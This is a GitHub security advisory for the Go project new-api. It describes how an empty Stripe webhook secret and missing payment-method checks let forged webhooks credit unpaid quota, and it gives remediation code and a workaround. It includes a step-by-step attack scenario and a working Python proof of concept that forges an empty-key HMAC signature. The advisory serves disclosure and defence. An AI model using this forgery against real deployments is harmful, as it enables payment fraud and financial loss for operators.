GHSA-XFF3-5C9P-2MR4
Vulnerability from github – Published: 2026-04-24 15:43 – Updated: 2026-04-24 15:43Summary
A critical vulnerability exists in the Stripe webhook handler that allows an unauthenticated attacker to forge webhook events and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:
- The Stripe webhook endpoint does not reject requests when
StripeWebhookSecretis empty (the default). - When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively bypassing signature verification entirely.
- The
Rechargefunction does not validate that the order'sPaymentMethodmatches the callback source, enabling cross-gateway exploitation — an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.
Affected Components
controller/topup_stripe.go—StripeWebhook(),sessionCompleted()model/topup.go—Recharge(),RechargeCreem(),RechargeWaffo()controller/topup.go—EpayNotify()controller/topup_creem.go—CreemAdaptor.RequestPay()(missingPaymentMethodfield)router/api-router.go— webhook route registered without any guard
CWE Classification
- CWE-345: Insufficient Verification of Data Authenticity
- CWE-1188: Initialization with an Insecure Default (empty webhook secret)
- CWE-863: Incorrect Authorization (cross-gateway order fulfillment)
Vulnerability Details
Flaw 1: Empty Webhook Secret Bypasses Signature Verification
The StripeWebhookSecret setting defaults to an empty string "". The Stripe Go SDK (webhook.ConstructEventWithOptions) does not reject empty secrets — it computes HMAC-SHA256 with an empty key, producing a deterministic and publicly computable signature.
Vulnerable code (controller/topup_stripe.go):
func StripeWebhook(c *gin.Context) {
// No check for empty StripeWebhookSecret
payload, _ := io.ReadAll(c.Request.Body)
signature := c.GetHeader("Stripe-Signature")
endpointSecret := setting.StripeWebhookSecret // defaults to ""
event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...)
// When secret is "", attacker can compute valid HMAC with the same empty key
}
The webhook route is unconditionally registered with no authentication middleware and no rate limiting:
apiRouter.POST("/stripe/webhook", controller.StripeWebhook)
Flaw 2: Missing payment_status Verification
The sessionCompleted handler only checks status == "complete" but does not verify payment_status == "paid". Stripe's checkout.session.completed event can fire with payment_status = "unpaid" for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or payment_status = "no_payment_required" for 100% discount coupons.
Additionally, checkout.session.async_payment_succeeded and checkout.session.async_payment_failed events are not handled, so delayed payments that ultimately fail are never rolled back.
Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)
The model.Recharge() function (called by the Stripe webhook) looks up orders solely by trade_no and does not validate that the order's PaymentMethod is "stripe":
func Recharge(referenceId string, customerId string) (err error) {
// Finds ANY pending order by trade_no, regardless of PaymentMethod
tx.Where("trade_no = ?", referenceId).First(topUp)
if topUp.Status != "pending" { return }
// Credits quota without checking topUp.PaymentMethod
quota = topUp.Money * QuotaPerUnit
tx.Model(&User{}).Update("quota", gorm.Expr("quota + ?", quota))
}
This allows an attacker to create orders through any configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook — even if Stripe itself was never configured.
Attack Scenario
Prerequisites: Any payment method is configured (e.g., Epay) + StripeWebhookSecret is empty (default).
- Attacker registers a user account.
- Attacker calls
POST /api/user/payto create an Epay top-up order (e.g.,amount=10000). The order is stored withstatus=pending. - Attacker queries
GET /api/user/topup/selfto retrieve thetrade_noof the pending order. - Attacker computes
HMAC-SHA256with an empty key over a craftedcheckout.session.completedpayload containing the stolentrade_noasclient_reference_id. - Attacker sends
POST /api/stripe/webhookwith the forged payload and signature header. - The server verifies the signature (passes because the secret is empty), calls
Recharge(), which finds the Epay order bytrade_no, marks it assuccess, and credits the full quota. - Attacker repeats steps 2–6 indefinitely for unlimited credits.
Proof of concept (pseudocode):
import hmac, hashlib, time, json, requests
timestamp = int(time.time())
payload = json.dumps({
"type": "checkout.session.completed",
"data": {
"object": {
"client_reference_id": "<trade_no from step 3>",
"status": "complete",
"payment_status": "paid",
"customer": "cus_fake",
"amount_total": "0",
"currency": "usd"
}
}
})
# Empty secret = publicly computable signature
sig = hmac.new(b"", f"{timestamp}.{payload}".encode(), hashlib.sha256).hexdigest()
header = f"t={timestamp},v1={sig}"
requests.post("https://target/api/stripe/webhook",
data=payload,
headers={"Stripe-Signature": header, "Content-Type": "application/json"})
Remediation
Fix 1: Reject webhooks when secret is empty
func StripeWebhook(c *gin.Context) {
if setting.StripeWebhookSecret == "" {
c.AbortWithStatus(http.StatusForbidden)
return
}
// ... existing logic
}
Fix 2: Verify payment_status and handle async payment events
func sessionCompleted(event stripe.Event) {
// ... existing status check ...
paymentStatus := event.GetObjectValue("payment_status")
if paymentStatus != "paid" {
return // Wait for async_payment_succeeded event
}
fulfillOrder(event, referenceId, customerId)
}
Add handlers for checkout.session.async_payment_succeeded and checkout.session.async_payment_failed.
Fix 3: Validate PaymentMethod in all recharge functions
// In model.Recharge (Stripe):
if topUp.PaymentMethod != "stripe" {
return ErrPaymentMethodMismatch
}
// In model.RechargeCreem:
if topUp.PaymentMethod != "creem" {
return ErrPaymentMethodMismatch
}
// In model.RechargeWaffo:
if topUp.PaymentMethod != "waffo" {
return ErrPaymentMethodMismatch
}
// In controller.EpayNotify:
if topUp.PaymentMethod == "stripe" || topUp.PaymentMethod == "creem" || topUp.PaymentMethod == "waffo" {
return // reject cross-gateway fulfillment
}
Additional fix: Set PaymentMethod on Creem order creation
The Creem order creation was missing the PaymentMethod field entirely:
topUp := &model.TopUp{
// ...
PaymentMethod: "creem", // was missing
}
Patched Versions
- v0.12.10 — includes all three fixes described above.
All users are strongly encouraged to upgrade immediately.
Workaround (for users unable to upgrade immediately)
If users cannot upgrade to v0.12.10 right away, apply all of the following mitigations:
-
Set
StripeWebhookSecretto any non-empty value. Go to the admin panel → Payment → Stripe, and set the Webhook Signing Secret to any random string (e.g.,whsec_placeholder_do_not_leave_empty). It does not need to be a real Stripe secret — any non-empty value will prevent the empty-key HMAC forgery. This is the single most important step — it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project's Stripe Dashboard → Webhooks to ensure legitimate webhooks continue to work. -
If Stripe is not in use, block the webhook endpoint. If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to
/api/stripe/webhook:nginx location = /api/stripe/webhook { return 403; }
Note: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing
payment_statuscheck) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. Upgrading is the only complete fix.
Impact
- Financial fraud: Attacker obtains unlimited API quota without payment.
- Operator financial loss: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator.
- Silent exploitation: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult.
- Wide exposure: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.
Timeline
- 2025-04-15: Vulnerability reported by @ChangeYu0229
- 2025-04-15: Vulnerability confirmed and root cause analysis completed
- 2025-04-15: Fix developed and applied
- 2025-04-15: Patched in v0.12.10
Resources
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/QuantumNous/new-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41432"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-345",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T15:43:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nA critical vulnerability exists in the Stripe webhook handler that allows an **unauthenticated attacker to forge webhook events** and credit arbitrary quota to their account without making any payment. The vulnerability stems from three compounding flaws:\n\n1. The Stripe webhook endpoint does not reject requests when `StripeWebhookSecret` is empty (the default).\n2. When the HMAC secret is empty, any attacker can compute valid webhook signatures, effectively **bypassing signature verification entirely**.\n3. The `Recharge` function does not validate that the order\u0027s `PaymentMethod` matches the callback source, enabling **cross-gateway exploitation** \u2014 an order created via any payment method (e.g., Epay) can be fulfilled through a forged Stripe webhook.\n\n## Affected Components\n\n- `controller/topup_stripe.go` \u2014 `StripeWebhook()`, `sessionCompleted()`\n- `model/topup.go` \u2014 `Recharge()`, `RechargeCreem()`, `RechargeWaffo()`\n- `controller/topup.go` \u2014 `EpayNotify()`\n- `controller/topup_creem.go` \u2014 `CreemAdaptor.RequestPay()` (missing `PaymentMethod` field)\n- `router/api-router.go` \u2014 webhook route registered without any guard\n\n## CWE Classification\n\n- **CWE-345**: Insufficient Verification of Data Authenticity\n- **CWE-1188**: Initialization with an Insecure Default (empty webhook secret)\n- **CWE-863**: Incorrect Authorization (cross-gateway order fulfillment)\n\n## Vulnerability Details\n\n### Flaw 1: Empty Webhook Secret Bypasses Signature Verification\n\nThe `StripeWebhookSecret` setting defaults to an empty string `\"\"`. The Stripe Go SDK (`webhook.ConstructEventWithOptions`) does **not** reject empty secrets \u2014 it computes `HMAC-SHA256` with an empty key, producing a deterministic and publicly computable signature.\n\n**Vulnerable code** (`controller/topup_stripe.go`):\n```go\nfunc StripeWebhook(c *gin.Context) {\n // No check for empty StripeWebhookSecret\n payload, _ := io.ReadAll(c.Request.Body)\n signature := c.GetHeader(\"Stripe-Signature\")\n endpointSecret := setting.StripeWebhookSecret // defaults to \"\"\n event, err := webhook.ConstructEventWithOptions(payload, signature, endpointSecret, ...)\n // When secret is \"\", attacker can compute valid HMAC with the same empty key\n}\n```\n\nThe webhook route is unconditionally registered with **no authentication middleware and no rate limiting**:\n```go\napiRouter.POST(\"/stripe/webhook\", controller.StripeWebhook)\n```\n\n### Flaw 2: Missing `payment_status` Verification\n\nThe `sessionCompleted` handler only checks `status == \"complete\"` but does **not** verify `payment_status == \"paid\"`. Stripe\u0027s `checkout.session.completed` event can fire with `payment_status = \"unpaid\"` for delayed payment methods (bank transfer, SEPA, Boleto, etc.) or `payment_status = \"no_payment_required\"` for 100% discount coupons.\n\nAdditionally, `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed` events are not handled, so delayed payments that ultimately fail are never rolled back.\n\n### Flaw 3: Cross-Gateway Order Fulfillment (No PaymentMethod Validation)\n\nThe `model.Recharge()` function (called by the Stripe webhook) looks up orders solely by `trade_no` and does **not** validate that the order\u0027s `PaymentMethod` is `\"stripe\"`:\n\n```go\nfunc Recharge(referenceId string, customerId string) (err error) {\n // Finds ANY pending order by trade_no, regardless of PaymentMethod\n tx.Where(\"trade_no = ?\", referenceId).First(topUp)\n if topUp.Status != \"pending\" { return }\n // Credits quota without checking topUp.PaymentMethod\n quota = topUp.Money * QuotaPerUnit\n tx.Model(\u0026User{}).Update(\"quota\", gorm.Expr(\"quota + ?\", quota))\n}\n```\n\nThis allows an attacker to create orders through **any** configured payment gateway (Epay, Creem, Waffo) and then complete them via a forged Stripe webhook \u2014 even if Stripe itself was never configured.\n\n## Attack Scenario\n\n**Prerequisites**: Any payment method is configured (e.g., Epay) + `StripeWebhookSecret` is empty (default).\n\n1. Attacker registers a user account.\n2. Attacker calls `POST /api/user/pay` to create an Epay top-up order (e.g., `amount=10000`). The order is stored with `status=pending`.\n3. Attacker queries `GET /api/user/topup/self` to retrieve the `trade_no` of the pending order.\n4. Attacker computes `HMAC-SHA256` with an empty key over a crafted `checkout.session.completed` payload containing the stolen `trade_no` as `client_reference_id`.\n5. Attacker sends `POST /api/stripe/webhook` with the forged payload and signature header.\n6. The server verifies the signature (passes because the secret is empty), calls `Recharge()`, which finds the Epay order by `trade_no`, marks it as `success`, and credits the full quota.\n7. Attacker repeats steps 2\u20136 indefinitely for unlimited credits.\n\n**Proof of concept** (pseudocode):\n```python\nimport hmac, hashlib, time, json, requests\n\ntimestamp = int(time.time())\npayload = json.dumps({\n \"type\": \"checkout.session.completed\",\n \"data\": {\n \"object\": {\n \"client_reference_id\": \"\u003ctrade_no from step 3\u003e\",\n \"status\": \"complete\",\n \"payment_status\": \"paid\",\n \"customer\": \"cus_fake\",\n \"amount_total\": \"0\",\n \"currency\": \"usd\"\n }\n }\n})\n# Empty secret = publicly computable signature\nsig = hmac.new(b\"\", f\"{timestamp}.{payload}\".encode(), hashlib.sha256).hexdigest()\nheader = f\"t={timestamp},v1={sig}\"\n\nrequests.post(\"https://target/api/stripe/webhook\",\n data=payload,\n headers={\"Stripe-Signature\": header, \"Content-Type\": \"application/json\"})\n```\n\n## Remediation\n\n### Fix 1: Reject webhooks when secret is empty\n```go\nfunc StripeWebhook(c *gin.Context) {\n if setting.StripeWebhookSecret == \"\" {\n c.AbortWithStatus(http.StatusForbidden)\n return\n }\n // ... existing logic\n}\n```\n\n### Fix 2: Verify `payment_status` and handle async payment events\n```go\nfunc sessionCompleted(event stripe.Event) {\n // ... existing status check ...\n paymentStatus := event.GetObjectValue(\"payment_status\")\n if paymentStatus != \"paid\" {\n return // Wait for async_payment_succeeded event\n }\n fulfillOrder(event, referenceId, customerId)\n}\n```\n\nAdd handlers for `checkout.session.async_payment_succeeded` and `checkout.session.async_payment_failed`.\n\n### Fix 3: Validate PaymentMethod in all recharge functions\n```go\n// In model.Recharge (Stripe):\nif topUp.PaymentMethod != \"stripe\" {\n return ErrPaymentMethodMismatch\n}\n\n// In model.RechargeCreem:\nif topUp.PaymentMethod != \"creem\" {\n return ErrPaymentMethodMismatch\n}\n\n// In model.RechargeWaffo:\nif topUp.PaymentMethod != \"waffo\" {\n return ErrPaymentMethodMismatch\n}\n\n// In controller.EpayNotify:\nif topUp.PaymentMethod == \"stripe\" || topUp.PaymentMethod == \"creem\" || topUp.PaymentMethod == \"waffo\" {\n return // reject cross-gateway fulfillment\n}\n```\n\n### Additional fix: Set PaymentMethod on Creem order creation\nThe Creem order creation was missing the `PaymentMethod` field entirely:\n```go\ntopUp := \u0026model.TopUp{\n // ...\n PaymentMethod: \"creem\", // was missing\n}\n```\n\n## Patched Versions\n\n- **v0.12.10** \u2014 includes all three fixes described above.\n\nAll users are strongly encouraged to upgrade immediately.\n\n## Workaround (for users unable to upgrade immediately)\n\nIf users cannot upgrade to v0.12.10 right away, apply **all** of the following mitigations:\n\n1. **Set `StripeWebhookSecret` to any non-empty value.** Go to the admin panel \u2192 Payment \u2192 Stripe, and set the Webhook Signing Secret to **any random string** (e.g., `whsec_placeholder_do_not_leave_empty`). It does **not** need to be a real Stripe secret \u2014 any non-empty value will prevent the empty-key HMAC forgery. **This is the single most important step** \u2014 it closes the primary attack vector. If Stripe payments are used in production, replace with the real secret from the project\u0027s [Stripe Dashboard \u2192 Webhooks](https://dashboard.stripe.com/webhooks) to ensure legitimate webhooks continue to work.\n\n2. **If Stripe is not in use, block the webhook endpoint.** If users have not configured Stripe payments, use a reverse proxy (Nginx, Caddy, etc.) to deny access to `/api/stripe/webhook`:\n ```nginx\n location = /api/stripe/webhook {\n return 403;\n }\n ```\n\n\u003e **Note**: The workaround only mitigates Flaw 1 (empty secret bypass). Flaws 2 (missing `payment_status` check) and 3 (cross-gateway fulfillment) are only fully addressed in v0.12.10. **Upgrading is the only complete fix.**\n\n## Impact\n\n- **Financial fraud**: Attacker obtains unlimited API quota without payment.\n- **Operator financial loss**: Fraudulent quota is consumed against upstream AI providers (OpenAI, Anthropic, Google, etc.), charged to the operator.\n- **Silent exploitation**: Fraudulent top-ups appear as normal successful transactions in system logs, making detection difficult.\n- **Wide exposure**: The default insecure configuration means virtually all deployments with any payment method enabled are vulnerable.\n\n## Timeline\n\n- **2025-04-15**: Vulnerability reported by [@ChangeYu0229](https://github.com/ChangeYu0229)\n- **2025-04-15**: Vulnerability confirmed and root cause analysis completed\n- **2025-04-15**: Fix developed and applied\n- **2025-04-15**: Patched in v0.12.10\n\n## Resources\n\n- [Stripe Webhook Signature Verification Docs](https://docs.stripe.com/webhooks#verify-official-libraries)\n- [Stripe Checkout Fulfillment Guide \u2014 Handle async payment methods](https://docs.stripe.com/checkout/fulfillment#async-payment-methods)\n- [CWE-345: Insufficient Verification of Data Authenticity](https://cwe.mitre.org/data/definitions/345.html)\n- [CWE-1188: Initialization with an Insecure Default](https://cwe.mitre.org/data/definitions/1188.html)",
"id": "GHSA-xff3-5c9p-2mr4",
"modified": "2026-04-24T15:43:25Z",
"published": "2026-04-24T15:43:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/security/advisories/GHSA-xff3-5c9p-2mr4"
},
{
"type": "WEB",
"url": "https://docs.stripe.com/checkout/fulfillment#async-payment-methods"
},
{
"type": "WEB",
"url": "https://docs.stripe.com/webhooks#verify-official-libraries"
},
{
"type": "PACKAGE",
"url": "https://github.com/QuantumNous/new-api"
},
{
"type": "WEB",
"url": "https://github.com/QuantumNous/new-api/releases/tag/v0.12.10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "New API: Stripe Webhook Signature Bypass via Empty Secret Enables Unlimited Quota Fraud"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.